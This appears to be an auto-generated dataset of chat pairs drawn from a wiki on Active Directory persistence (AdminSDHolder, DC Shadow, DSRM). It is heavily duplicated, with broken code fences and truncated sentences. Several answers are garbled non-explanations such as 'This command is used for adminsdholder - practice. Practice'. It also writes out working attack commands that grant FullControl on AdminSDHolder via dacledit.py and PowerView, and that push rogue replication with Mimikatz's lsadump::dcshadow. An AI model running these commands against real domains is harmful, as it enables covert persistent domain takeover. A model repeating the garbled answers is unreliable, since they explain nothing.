[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain AdminSDHolder - Practice

[Assistant]
Once sufficient privileges are obtained, attackers can abuse AdminSdHolder to get persistence on the domain by modifying the AdminSdHolder object's DACL.

Let's say an attacker adds the following ACE to AdminSdHolder's DACL: attackercontrolleduser: Full Control.

At the next run of SDProp, attackercontrolleduser will have a GenericAll privilege over all protected objects (Domain Admins, Account Operators, and so on).

::: tabs

=== UNIX-like

From UNIX-like systems, this can be done with Impacket's dacledit.py (Python).

``bash
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
`

AdminSdHolder's DACL can then be inspected with the same utility.

`bash
dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
`

=== Windows

This can be done in PowerShell with Add-DomainObjectAcl from PowerSploit's PowerView module.

`powershell
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All
`

AdminSdHolder's DACL can then be inspected with Get-DomainObjectAcl.

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Once sufficient privileges are obtained, attackers can abuse AdminSdHolder to get persistence on the domain by modifying the AdminSdHolder object's DACL.

Let's say an attacker adds the following ACE to AdminSdHolder's DACL: attackercontrolleduser: Full Control.

At the next run of SDProp, attackercontrolleduser will have a GenericAll privilege over all protected objects (Domain Admins, Account Operators, and so on).

::: tabs

=== UNIX-like

From UNIX-like systems, this can be done with Impacket's dacledit.py (Python).

``bash
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
`

AdminSdHolder's DACL can then be inspected with the same utility.

`bash
dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
`

=== Windows

This can be done in PowerShell with Add-DomainObjectAcl from PowerSploit's PowerView module.

`powershell
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All
`

AdminSdHolder's DACL can then be inspected with Get-DomainObjectAcl.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for AdminSDHolder - Practice

[Assistant]
Once sufficient privileges are obtained, attackers can abuse AdminSdHolder to get persistence on the domain by modifying the AdminSdHolder object's DACL.

Let's say an attacker adds the following ACE to AdminSdHolder's DACL: attackercontrolleduser: Full Control.

At the next run of SDProp, attackercontrolleduser will have a GenericAll privilege over all protected objects (Domain Admins, Account Operators, and so on).

::: tabs

=== UNIX-like

From UNIX-like systems, this can be done with Impacket's dacledit.py (Python).

``bash
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
`

AdminSdHolder's DACL can then be inspected with the same utility.

`bash
dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
`

=== Windows

This can be done in PowerShell with Add-DomainObjectAcl from PowerSploit's PowerView module.

`powershell
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All
`

AdminSdHolder's DACL can then be inspected with Get-DomainObjectAcl.

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for AdminSDHolder - Practice

Response:
Once sufficient privileges are obtained, attackers can abuse AdminSdHolder to get persistence on the domain by modifying the AdminSdHolder object's DACL.

Let's say an attacker adds the following ACE to AdminSdHolder's DACL: attackercontrolleduser: Full Control.

At the next run of SDProp, attackercontrolleduser will have a GenericAll privilege over all protected objects (Domain Admins, Account Operators, and so on).

::: tabs

=== UNIX-like

From UNIX-like systems, this can be done with Impacket's dacledit.py (Python).

``bash
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
`

AdminSdHolder's DACL can then be inspected with the same utility.

`bash
dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
`

=== Windows

This can be done in PowerShell with Add-DomainObjectAcl from PowerSploit's PowerView module.

`powershell
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All
`

AdminSdHolder's DACL can then be inspected with Get-DomainObjectAcl.

``powershell


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the dacledit.py command to adminsdholder - practice

[Assistant] dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the dacledit.py command to adminsdholder - practice

Response: dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through AdminSDHolder - Practice

[Assistant] dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through AdminSDHolder - Practice

Response: dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'`?

[Assistant] This command is used for adminsdholder - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'`?

Response: This command is used for adminsdholder - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the dacledit.py command for adminsdholder - practice

[Assistant] dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the dacledit.py command for adminsdholder - practice

Response: dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out AdminSDHolder - Practice during a pentest?

[Assistant] dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out AdminSDHolder - Practice during a pentest?

Response: dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'`?

[Assistant] This command is used for adminsdholder - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'`?

Response: This command is used for adminsdholder - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use Add-DomainObjectAcl for adminsdholder - practice?

[Assistant] Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use Add-DomainObjectAcl for adminsdholder - practice?

Response: Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out AdminSDHolder - Practice during a pentest?

[Assistant] Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All`?

[Assistant] This command is used for adminsdholder - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All`?

Response: This command is used for adminsdholder - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Inspect all AdminSdHolder's DACL

[Assistant] Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Inspect all AdminSdHolder's DACL

Response: Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Inspect all AdminSdHolder's DACL?

[Assistant] Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Inspect all AdminSdHolder's DACL?

Response: Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Inspect specific rights an object has on AdminSdHolder (example with a user)

[Assistant]
sid = Get-DomainUser "someuser" | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq $sid}
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Inspect specific rights an object has on AdminSdHolder (example with a user)

Response:
sid = Get-DomainUser "someuser" | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq $sid}
```

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Inspect specific rights an object has on AdminSdHolder (example with a user)?

[Assistant]
sid = Get-DomainUser "someuser" | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq $sid}
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Inspect specific rights an object has on AdminSdHolder (example with a user)?

Response:
sid = Get-DomainUser "someuser" | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq $sid}
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 Access controls?

[Assistant]
https://www.slideshare.net/harmj0y/an-ace-in-the-hole-stealthy-host-persistence-via-security-descriptors

https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

DPERSIST on AD CS : https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 Access controls?

Response:
https://www.slideshare.net/harmj0y/an-ace-in-the-hole-stealthy-host-persistence-via-security-descriptors

https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

DPERSIST on AD CS : https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 Access controls

[Assistant]
https://www.slideshare.net/harmj0y/an-ace-in-the-hole-stealthy-host-persistence-via-security-descriptors

https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

DPERSIST on AD CS : https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
https://www.slideshare.net/harmj0y/an-ace-in-the-hole-stealthy-host-persistence-via-security-descriptors

https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

DPERSIST on AD CS : https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about DC Shadow - Theory

[Assistant]
The idea behind this persistence technique is to have an attacker-controlled machine act as a domain controller (shadow DC) to push changes onto the domain by forcing other domain controllers to replicate.

There are two requirements for a machine to act as a domain controller:

1. Be registered as a DC in the domain**: this is done by;
   1. modifying the computer's SPN (ServicePrincipalName) to GC/$HOSTNAME.$DOMAIN/$DOMAIN
   2. adding an entry like CN=$HOSTNAME,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=$DOMAIN with the following attribute values:
      * objectClass: server
      * dNSHostName: $HOSTNAME.$DOMAIN
      * serverReference: CN=$HOSTNAME,CN=Computers,DC=$DOMAIN
2. Be able to request and/or respond to specific RPC calls: DRSBind, DRSUnbind, DRSCrackNames, DRSAddEntry, DRSReplicaAdd, DRSReplicaDel, DRSGetNCChanges.

Below is the attack workflow (step 1 & 2 can be switched if need be):

1. Register the workstation that will act as the shadow DC
    1. add the required entry in CN=Configuration
    2. modify the workstation's SPN
2. Prepare the changes to be pushed onto the domain (with calls to DRSAddEntry)
3. Push the changes by forcing another legitimate DC to replicate from the workstation with a DRSReplicaAdd call, which automatically makes a DRSGetNCChanges call from the legitimate DC to the shadow DC.
4. Unregister the workstation so it is not longer considered to be a DC (by a DRSReplicaDel call and by reverting changes made to CN=Configuration and the workstation's SPN).

![](<./assets/Adding entry to Configuration container.png>)

(step 1.1) add the entry to CN=Configuration

![](<./assets/Modifying the workstation SPN.png>)

(step 1.2) modify the workstation's SPN{.caption}

![](<./assets/DRSUAPI network capture.png>)

An example of DRSUAPI traffic for a successful DC Shadow attack{.caption}

It is important to note that this technique can be used as a "meta" one, in the sense th

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
The idea behind this persistence technique is to have an attacker-controlled machine act as a domain controller (shadow DC) to push changes onto the domain by forcing other domain controllers to replicate.

There are two requirements for a machine to act as a domain controller:

1. Be registered as a DC in the domain**: this is done by;
   1. modifying the computer's SPN (ServicePrincipalName) to GC/$HOSTNAME.$DOMAIN/$DOMAIN
   2. adding an entry like CN=$HOSTNAME,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=$DOMAIN with the following attribute values:
      * objectClass: server
      * dNSHostName: $HOSTNAME.$DOMAIN
      * serverReference: CN=$HOSTNAME,CN=Computers,DC=$DOMAIN
2. Be able to request and/or respond to specific RPC calls: DRSBind, DRSUnbind, DRSCrackNames, DRSAddEntry, DRSReplicaAdd, DRSReplicaDel, DRSGetNCChanges.

Below is the attack workflow (step 1 & 2 can be switched if need be):

1. Register the workstation that will act as the shadow DC
    1. add the required entry in CN=Configuration
    2. modify the workstation's SPN
2. Prepare the changes to be pushed onto the domain (with calls to DRSAddEntry)
3. Push the changes by forcing another legitimate DC to replicate from the workstation with a DRSReplicaAdd call, which automatically makes a DRSGetNCChanges call from the legitimate DC to the shadow DC.
4. Unregister the workstation so it is not longer considered to be a DC (by a DRSReplicaDel call and by reverting changes made to CN=Configuration and the workstation's SPN).

![](<./assets/Adding entry to Configuration container.png>)

(step 1.1) add the entry to CN=Configuration

![](<./assets/Modifying the workstation SPN.png>)

(step 1.2) modify the workstation's SPN{.caption}

![](<./assets/DRSUAPI network capture.png>)

An example of DRSUAPI traffic for a successful DC Shadow attack{.caption}

It is important to note that this technique can be used as a "meta" one, in the sense th


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform DC Shadow - Theory?

[Assistant]
The idea behind this persistence technique is to have an attacker-controlled machine act as a domain controller (shadow DC) to push changes onto the domain by forcing other domain controllers to replicate.

There are two requirements for a machine to act as a domain controller:

1. Be registered as a DC in the domain**: this is done by;
   1. modifying the computer's SPN (ServicePrincipalName) to GC/$HOSTNAME.$DOMAIN/$DOMAIN
   2. adding an entry like CN=$HOSTNAME,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=$DOMAIN with the following attribute values:
      * objectClass: server
      * dNSHostName: $HOSTNAME.$DOMAIN
      * serverReference: CN=$HOSTNAME,CN=Computers,DC=$DOMAIN
2. Be able to request and/or respond to specific RPC calls: DRSBind, DRSUnbind, DRSCrackNames, DRSAddEntry, DRSReplicaAdd, DRSReplicaDel, DRSGetNCChanges.

Below is the attack workflow (step 1 & 2 can be switched if need be):

1. Register the workstation that will act as the shadow DC
    1. add the required entry in CN=Configuration
    2. modify the workstation's SPN
2. Prepare the changes to be pushed onto the domain (with calls to DRSAddEntry)
3. Push the changes by forcing another legitimate DC to replicate from the workstation with a DRSReplicaAdd call, which automatically makes a DRSGetNCChanges call from the legitimate DC to the shadow DC.
4. Unregister the workstation so it is not longer considered to be a DC (by a DRSReplicaDel call and by reverting changes made to CN=Configuration and the workstation's SPN).

![](<./assets/Adding entry to Configuration container.png>)

(step 1.1) add the entry to CN=Configuration

![](<./assets/Modifying the workstation SPN.png>)

(step 1.2) modify the workstation's SPN{.caption}

![](<./assets/DRSUAPI network capture.png>)

An example of DRSUAPI traffic for a successful DC Shadow attack{.caption}

It is important to note that this technique can be used as a "meta" one, in the sense th

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
The idea behind this persistence technique is to have an attacker-controlled machine act as a domain controller (shadow DC) to push changes onto the domain by forcing other domain controllers to replicate.

There are two requirements for a machine to act as a domain controller:

1. Be registered as a DC in the domain**: this is done by;
   1. modifying the computer's SPN (ServicePrincipalName) to GC/$HOSTNAME.$DOMAIN/$DOMAIN
   2. adding an entry like CN=$HOSTNAME,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=$DOMAIN with the following attribute values:
      * objectClass: server
      * dNSHostName: $HOSTNAME.$DOMAIN
      * serverReference: CN=$HOSTNAME,CN=Computers,DC=$DOMAIN
2. Be able to request and/or respond to specific RPC calls: DRSBind, DRSUnbind, DRSCrackNames, DRSAddEntry, DRSReplicaAdd, DRSReplicaDel, DRSGetNCChanges.

Below is the attack workflow (step 1 & 2 can be switched if need be):

1. Register the workstation that will act as the shadow DC
    1. add the required entry in CN=Configuration
    2. modify the workstation's SPN
2. Prepare the changes to be pushed onto the domain (with calls to DRSAddEntry)
3. Push the changes by forcing another legitimate DC to replicate from the workstation with a DRSReplicaAdd call, which automatically makes a DRSGetNCChanges call from the legitimate DC to the shadow DC.
4. Unregister the workstation so it is not longer considered to be a DC (by a DRSReplicaDel call and by reverting changes made to CN=Configuration and the workstation's SPN).

![](<./assets/Adding entry to Configuration container.png>)

(step 1.1) add the entry to CN=Configuration

![](<./assets/Modifying the workstation SPN.png>)

(step 1.2) modify the workstation's SPN{.caption}

![](<./assets/DRSUAPI network capture.png>)

An example of DRSUAPI traffic for a successful DC Shadow attack{.caption}

It is important to note that this technique can be used as a "meta" one, in the sense th


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about DC Shadow - Practice?

[Assistant]
::: tabs

=== UNIX-like

> [!CAUTION]
> _July 27th 2023_ : There is currently no way to exploit this technique purely from a distant UNIX-like machine, as it requires some tools that have yet to be made.

=== Windows

DC Shadow can be performed by using Mimikatz. It works in every 64-bits Windows Server version up to 2022 (included). Everything happens on the workstation that will act as the shadow DC.

Two Mimikatz shells are required:

* one with domain admin privileges (called the trigger shell from now on)
* one as NT-AUTHORITY\SYSTEM (called the RPC shell from now on)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about DC Shadow - Practice?

Response:
::: tabs

=== UNIX-like

> [!CAUTION]
> _July 27th 2023_ : There is currently no way to exploit this technique purely from a distant UNIX-like machine, as it requires some tools that have yet to be made.

=== Windows

DC Shadow can be performed by using Mimikatz. It works in every 64-bits Windows Server version up to 2022 (included). Everything happens on the workstation that will act as the shadow DC.

Two Mimikatz shells are required:

* one with domain admin privileges (called the trigger shell from now on)
* one as NT-AUTHORITY\SYSTEM (called the RPC shell from now on)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out DC Shadow - Practice during a pentest?

[Assistant]
::: tabs

=== UNIX-like

> [!CAUTION]
> _July 27th 2023_ : There is currently no way to exploit this technique purely from a distant UNIX-like machine, as it requires some tools that have yet to be made.

=== Windows

DC Shadow can be performed by using Mimikatz. It works in every 64-bits Windows Server version up to 2022 (included). Everything happens on the workstation that will act as the shadow DC.

Two Mimikatz shells are required:

* one with domain admin privileges (called the trigger shell from now on)
* one as NT-AUTHORITY\SYSTEM (called the RPC shell from now on)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out DC Shadow - Practice during a pentest?

Response:
::: tabs

=== UNIX-like

> [!CAUTION]
> _July 27th 2023_ : There is currently no way to exploit this technique purely from a distant UNIX-like machine, as it requires some tools that have yet to be made.

=== Windows

DC Shadow can be performed by using Mimikatz. It works in every 64-bits Windows Server version up to 2022 (included). Everything happens on the workstation that will act as the shadow DC.

Two Mimikatz shells are required:

* one with domain admin privileges (called the trigger shell from now on)
* one as NT-AUTHORITY\SYSTEM (called the RPC shell from now on)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe (RPC shell) in the context of penetration testing

[Assistant]
lsadump::dcshadow /object:ObjectToModify /attribute:AttributeToModifyOnTargetedObject /value:NewValueOfTargetedAttribute
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe (RPC shell) in the context of penetration testing

Response:
lsadump::dcshadow /object:ObjectToModify /attribute:AttributeToModifyOnTargetedObject /value:NewValueOfTargetedAttribute
```


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do (RPC shell)

[Assistant]
lsadump::dcshadow /object:ObjectToModify /attribute:AttributeToModifyOnTargetedObject /value:NewValueOfTargetedAttribute
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
lsadump::dcshadow /object:ObjectToModify /attribute:AttributeToModifyOnTargetedObject /value:NewValueOfTargetedAttribute
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe The command below will register the shadow DC, push the changes, and unregister in the context of penetration testing

[Assistant]
lsadump::dcshadow /push
``

See the lsadump::dcshadow` at The Hacker Tools for more info.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe The command below will register the shadow DC, push the changes, and unregister in the context of penetration testing

Response:
lsadump::dcshadow /push
``

See the lsadump::dcshadow` at The Hacker Tools for more info.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform The command below will register the shadow DC, push the changes, and unregister?

[Assistant]
lsadump::dcshadow /push
``

See the lsadump::dcshadow` at The Hacker Tools for more info.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform The command below will register the shadow DC, push the changes, and unregister?

Response:
lsadump::dcshadow /push
``

See the lsadump::dcshadow` at The Hacker Tools for more info.

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about DSRM Persistence - Theory

[Assistant]
The Directory Services Restore Mode (DSRM) is a special mode available on every Domain Controller (DC) for recovery operations. When a server is promoted to a Domain Controller, a local administrator account named "Administrator" is created with a DSRM password. This password is rarely updated and is distinct from domain credentials, making it an interesting target for persistence.

An attacker with Domain Admin privileges (or local admin privileges on Domain Controllers) can retrieve the hash of the DSRM password using tools like Mimikatz and use it to maintain persistent access. By modifying specific configurations on the DC, it becomes possible to leverage the DSRM account remotely, including authenticating over the network.

The DSRM account, being a local administrator account on the DC, is not subject to domain password policies. However, by default, its use is limited to specific conditions, such as when the DC is booted into DSRM. These limitations can be bypassed by altering the registry key responsible for the account’s logon behavior.

